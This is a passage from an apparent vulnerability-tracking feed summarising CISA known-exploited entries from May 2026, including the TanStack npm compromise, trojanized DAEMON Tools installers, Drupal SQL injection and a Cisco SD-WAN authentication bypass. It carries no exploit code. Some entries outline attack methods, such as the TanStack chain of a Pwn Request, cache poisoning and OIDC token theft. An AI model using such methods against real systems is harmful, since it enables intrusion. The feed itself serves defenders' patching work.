per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 27, 2026; federal due date Jun 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TanStack Unspecified Vulnerability https://kevwire.com/record/CVE-2026-45321 TanStack Unspecified Vulnerability (May 12, 2026). On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart. CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45321). EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45321&date=2026-10-25). Sources: NVD CVE-2026-45321: https://nvd.nist.gov/vuln/detail/CVE-2026-45321 Vendor advisory (via NVD references): https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0 CISA KEV entry CVE-2026-45321: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45321&date=2026-10-25 On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pull_request_target "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity. Each affected package received exactly two malicious versions, published a few minutes apart. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 27, 2026; federal due date Jun 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Daemon Tools Lite Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2026-8398 Daemon Tools Lite Embedded Malicious Code Vulnerability (May 15, 2026). A supply chain attack compromised the official installation packages of DAEMON Tools Lite (Windows versions 12.5.0.2421 through 12.5.0.2434), distributed from the legitimate website daemon-tools.cc between approximately April 8, 2026, and May 5, 2026. Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection. CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8398). EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-8398&date=2026-10-25). Sources: NVD CVE-2026-8398: https://nvd.nist.gov/vuln/detail/CVE-2026-8398 Vendor advisory (via NVD references): https://blog.daemon-tools.cc/post/security-incident NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0 CISA KEV entry CVE-2026-8398: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-8398&date=2026-10-25 A supply chain attack compromised the official installation packages of DAEMON Tools Lite (Windows versions 12.5.0.2421 through 12.5.0.2434), distributed from the legitimate website daemon-tools.cc between approximately April 8, 2026, and May 5, 2026. Attackers gained unauthorized access to the vendor's (AVB Disc Soft) build or distribution infrastructure and trojanized three binaries: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files were digitally signed with the legitimate AVB Disc Soft code-signing certificate, allowing the malicious installers to appear trustworthy and bypass signature-based detection. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 27, 2026; federal due date May 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### LiteSpeed cPanel Plugin Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2026-48172 LiteSpeed cPanel Plugin Privilege Escalation Vulnerability (May 26, 2026). LiteSpeed cPanel Plugin contains privilege escalation vulnerability that is exposed via the user-end cPanel plugin, which can be abused by any cPanel user account to execute arbitrary scripts with root privileges. EPSS 17.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48172&date=2026-10-25). Sources: CISA KEV entry CVE-2026-48172: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48172&date=2026-10-25 CISA added this entry on 2026-05-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 26, 2026; federal due date May 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Drupal Core SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-9082 Drupal Core SQL Injection Vulnerability (May 22, 2026). Drupal Core contains a SQL injection vulnerability that could allow for privilege escalation and remote code execution via specially crafted requests sent with the database abstraction API. EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9082&date=2026-10-25). Sources: CISA KEV entry CVE-2026-9082: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9082&date=2026-10-25 CISA added this entry on 2026-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 22, 2026; federal due date May 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Langflow Origin Validation Error Vulnerability https://kevwire.com/record/CVE-2025-34291 Langflow Origin Validation Error Vulnerability (May 21, 2026). Langflow contains an origin validation error vulnerability in which an overly permissive CORS configuration combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. This could allow the attacker to execute arbitrary code and achieve full system compromise via obtained tokens that permit access to authenticated endpoints. EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-34291&date=2026-10-25). Sources: CISA KEV entry CVE-2025-34291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-34291&date=2026-10-25 CISA added this entry on 2026-05-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 21, 2026; federal due date Jun 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Trend Micro Apex One (On-Premise) Directory Traversal Vulnerability https://kevwire.com/record/CVE-2026-34926 Trend Micro Apex One (On-Premise) Directory Traversal Vulnerability (May 21, 2026). Trend Micro Apex One (on-premise) contains a directory traversal vulnerability that could allow a pre-authenticated local attacker to modify a key table on the server to inject malicious code to deploy to agents on affected installations. EPSS 13.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34926&date=2026-10-25). Sources: CISA KEV entry CVE-2026-34926: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34926&date=2026-10-25 CISA added this entry on 2026-05-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 21, 2026; federal due date Jun 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2008-4250 Microsoft Windows Buffer Overflow Vulnerability (May 20, 2026). Microsoft Windows contains a buffer overflow vulnerability in the Windows Server Service that allows remote attackers to execute arbitrary code via a crafted RPC request that triggers an overflow during path canonicalization. EPSS 98.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-4250&date=2026-10-25). Sources: CISA KEV entry CVE-2008-4250: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-4250&date=2026-10-25 CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft DirectX NULL Byte Overwrite Vulnerability https://kevwire.com/record/CVE-2009-1537 Microsoft DirectX NULL Byte Overwrite Vulnerability (May 20, 2026). Microsoft DirectX contains a NULL byte overwrite vulnerability in the QuickTime Movie Parser Filter in quartz.dll in DirectShow which could allow remote attackers to execute arbitrary code via a crafted QuickTime media file. EPSS 51.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1537&date=2026-10-25). Sources: CISA KEV entry CVE-2009-1537: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1537&date=2026-10-25 CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2009-3459 Adobe Acrobat and Reader Heap-Based Buffer Overflow Vulnerability (May 20, 2026). Adobe Acrobat and Reader contain a heap-based buffer overflow vulnerability which could allow remote attackers to execute arbitrary code via a crafted PDF file that triggers memory corruption. EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3459&date=2026-10-25). Sources: CISA KEV entry CVE-2009-3459: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3459&date=2026-10-25 CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Use-After-Free Vulnerability https://kevwire.com/record/CVE-2010-0249 Microsoft Internet Explorer Use-After-Free Vulnerability (May 20, 2026). Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 91.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0249&date=2026-10-25). Sources: CISA KEV entry CVE-2010-0249: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0249&date=2026-10-25 CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Use-After-Free Vulnerability https://kevwire.com/record/CVE-2010-0806 Microsoft Internet Explorer Use-After-Free Vulnerability (May 20, 2026). Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 82.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0806&date=2026-10-25). Sources: CISA KEV entry CVE-2010-0806: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0806&date=2026-10-25 CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Defender Link Following Vulnerability https://kevwire.com/record/CVE-2026-41091 Microsoft Defender Link Following Vulnerability (May 20, 2026). Microsoft Defender contains a link following vulnerability that allows an authorized attacker to elevate privileges locally. EPSS 8.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41091&date=2026-10-25). Sources: CISA KEV entry CVE-2026-41091: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41091&date=2026-10-25 CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Defender Denial of Service Vulnerability https://kevwire.com/record/CVE-2026-45498 Microsoft Defender Denial of Service Vulnerability (May 20, 2026). Microsoft Defender contains an unspecified vulnerability that allows for denial of service. EPSS 63.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45498&date=2026-10-25). Sources: CISA KEV entry CVE-2026-45498: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45498&date=2026-10-25 CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 20, 2026; federal due date Jun 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2026-42897 Microsoft Exchange Server Cross-Site Scripting Vulnerability (May 15, 2026). Microsoft Exchange Server contains a cross-site scripting vulnerability during web page generation in Outlook Web Access and when certain interaction conditions are met, arbitrary JavaScript can be executed in the browser context. CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42897). EPSS 70.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42897&date=2026-10-25). Sources: CISA KEV entry CVE-2026-42897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json NVD CVE-2026-42897: https://nvd.nist.gov/vuln/detail/CVE-2026-42897 Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42897 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42897&date=2026-10-25 CISA added this entry on 2026-05-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 15, 2026; federal due date May 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2026-20182 Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability (May 14, 2026). May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The section of this advisory includes Show Control Connections guidance to help with system checks.  A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric. CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20182). EPSS 91.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20182&date=2026-10-25). Sources: NVD CVE-2026-20182: https://nvd.nist.gov/vuln/detail/CVE-2026-20182 Vendor advisory (via NVD references): https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0 CISA KEV entry CVE-2026-20182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20182&date=2026-10-25 May 2026: This security advisory provides the details and fix information for a vulnerability that was discovered and fixed after the was disclosed in February 2026. This new advisory is for a new vulnerability in the control connection handshaking. The section of this advisory includes Show Control Connections guidance to help with system checks.  A vulnerability in the peering authentication in Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, and Cisco Catalyst SD-WAN Validator, formerly SD-WAN vBond, could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to the affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 14, 2026; federal due date May 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### BerriAI LiteLLM SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-42208 BerriAI LiteLLM SQL Injection Vulnerability (May 8, 2026). BerriAI LiteLLM contains a SQL injection vulnerability that allows an attacker to read data from the proxy's database and potentially modify it, leading to unauthorized access to the proxy and the credentials it manages. EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42208&date=2026-10-25). Sources: CISA KEV entry CVE-2026-42208: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42208&date=2026-10-25 CISA added this entry on 2026-05-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 8, 2026; federal due date May 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager Mobile (EPMM) Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2026-6973 Ivanti Endpoint Manager Mobile (EPMM) Improper Input Validation Vulnerability (May 7, 2026). Ivanti Endpoint Manager Mobile (EPMM) contains an improper input validation vulnerability that allows a remotely authenticated user with administrative access to achieve remote code execution. EPSS 34.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-6973&date=2026-10-25). Sources: CISA KEV entry CVE-2026-6973: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-6973&date=2026-10-25 CISA added this entry on 2026-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 7, 2026; federal due date May 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Out-of-bounds Write Vulnerability https://kevwire.com/record/CVE-2026-0300 Palo Alto Networks PAN-OS Out-of-bounds Write Vulnerability (May 6, 2026). Palo Alto Networks PAN-OS contains an out-of-bounds write vulnerability in the User-ID Authentication Portal (aka Captive Portal) service that can allow an unauthenticated attacker to execute arbitrary code with root privileges on the PA-Series and VM-Series firewalls by sending specially crafted packets. EPSS 41.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0300&date=2026-10-25). Sources: CISA KEV entry CVE-2026-0300: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0300&date=2026-10-25 CISA added this entry on 2026-05-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Until the vendor releases an official fix, the following workaround should be implemented: - Restrict User-ID Authentication Portal access to only trusted zones. - Disable User-ID Authentication Portal if not required. 5/13/2026: Palo Alto has released a variety of patches. If these are relevant to your environment, please apply the designated patch. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 6, 2026; federal due date May 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability https://kevwire.com/record/CVE-2026-31431 Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability (May 1, 2026). Linux Kernel contains an incorrect resource transfer between spheres vulnerability that could allow for privilege escalation. EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-31431&date=2026-10-25). Sources: CISA KEV entry CVE-2026-31431: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-31431&date=2026-10-25 CISA added this entry on 2026-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 1, 2026; federal due date May 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WebPros cPanel & WHM and WP2 (WordPress Squared) Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2026-41940 WebPros cPanel & WHM and WP2 (WordPress Squared) Missing Authentication for Critical Function Vulnerability (Apr 30, 2026). WebPros cPanel & WHM (WebHost Manager) and WP2 (WordPress Squared) contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel. EPSS 98.5% for the following 30 days, scored Oct 25, 2026 